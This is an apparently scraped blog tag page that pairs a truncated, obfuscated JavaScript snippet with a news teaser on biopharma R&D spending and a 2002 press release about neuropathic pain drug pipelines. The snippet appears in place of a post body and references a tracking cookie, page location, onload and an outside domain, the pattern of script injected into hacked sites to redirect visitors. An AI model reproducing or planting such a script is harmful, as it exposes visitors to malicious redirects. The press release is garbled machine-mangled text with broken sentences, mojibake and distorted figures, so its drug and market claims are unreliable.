‘PROJECTS’ Tagged Posts

PremPro 1.1 Setting Up Tasks

var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTim...


Quintiles projects increase in biopharma R&D spending


Quintiles projects increase in biopharma R&D spending
Consider the trend for GlaxoSmithKline (NYSE: GSK), which entered the cliff slightly earlier than some others in Big Pharma. In 2006, a group of eight drugs – including Wellbutrin, Lamictal, Zofran and Paxil – made up 18 percent of all sales. By 2009 …
Read more on Triangle Business Journal

PHARMA PROJECTS HIGHLIGHTS unmet need for analgesic treatment of neuropathic pain


(Business Wire) 17 August 2002

On the occasion of the 10th World Congress on Pain, Pharma Projects, the leading database tracking pharmaceutical R & D world points out a market opportunity for drugs to treat neuropathic pain. Affecting about 26 million people worldwide, neuropathic pain, a severe, chronic and persistent condition that causes nerve damage by a variety of diseases including stroke, multiple sclerosis, cancer, amputation, diabetes, and herpes infection occurs.

The exact mechanisms for this type of pain is not well understood. In contrast to acute and inflammatory pain, the mechanisms of neuropathic pain is not described in terms of peripheral injury but it is thought to cause damage by ectopic activity of sensory neurons. There are no therapies specifically for the treatment of neuropathic pain typically responds poorly to conventional approved opioid analgesics and NSAIDs. Current treatment is largely based on the A? Off-labelГ‚? Use of anticonvulsants, antidepressants and local anesthetics, which have well documented side effects and limited efficacy for this indication.

Pharma Projects currently lists 46 drugs in active development for neuropathic pain, and another 25 for postherpetic neuropathy and diabetic pain. It is believed that a variety of mechanisms of neuropathic pain is based, the researchers with a number of potential targets. The analysis of the data shows that pharmaceutical Projects is the most important pharmacological strategy for new compounds of neuroexcitability modulation of ion channel blockade. Pharma Projects and medicines for acetylcholine, GABA, NMDA, delta-opioid and vanilloid receptors, among others.

The stages of development for the 27 pharmaceutical compounds on Projects with neuropathic pain as the primary indication listed. Most are in preclinical evaluation, with no currently in late-stage clinical trials. Elan ziconotide (SNZ-111) is the only drug for admission to a special advertisement for the treatment of neuropathic pain. Analysts predict that a safe and effective therapy for this condition would be immediate to gain acceptance by physicians, treat and estimated the market for painkillers on neuropathic pain in more than $ 7000000000, similar rewards could reap the blockbuster COX-2 selective NSAIDs analgesics.

this year in San Diego, CA, USA, August 17 to 22 is the World Congress on Pain of the three-year conference of the International Society for the Study of Pain (IASP). It is a multidisciplinary meeting attended by health professionals, including physicians, scientists, nurses and pharmacists, covering current knowledge and therapeutic advances in all types of pain.

About Pharma Projects

Pharma Projects, the leading database tracking pharmaceutical development from early preclinical study through to launch or discontinuation, has 22 years experience as an information provider for the industry. Pharma Projects uses a fully searchable application that allows you to specific information for you, whether it comprehensive drug profiles, a competitor? S pipeline or licensing opportunities can be localized search. Updated monthly, the data on a weekly basis via online hosts PJB Publications, Dialog and Data Star, Ovid Technologies and STN International. Pharmaceutical Projects team is for a comment or make presentations on trends in pharmaceutical R & D give further details, please contact Ian Lloyd, Managing Editor.

About PJB Publications

PJB Publications established in 1976, is an independent publisher of business-to-business information. Special areas of knowledge include pharmaceuticals, where it publishes the twice-weekly newsletter Scrip, medical devices and diagnostics, biotechnology, veterinary, agricultural, agribusiness, clinical research and regulatory affairs.

For editorial questions:

Ian Lloyd,

Managing Editor, Pharmaceutical Projects

phone +44 (0) 20 8332 8877

Facsimile +44 (0) 20 8332 8994

Email ian.lloyd @ pjbpubs.com

Release URL


www.pharmaprojects.co.uk website

clear = “all”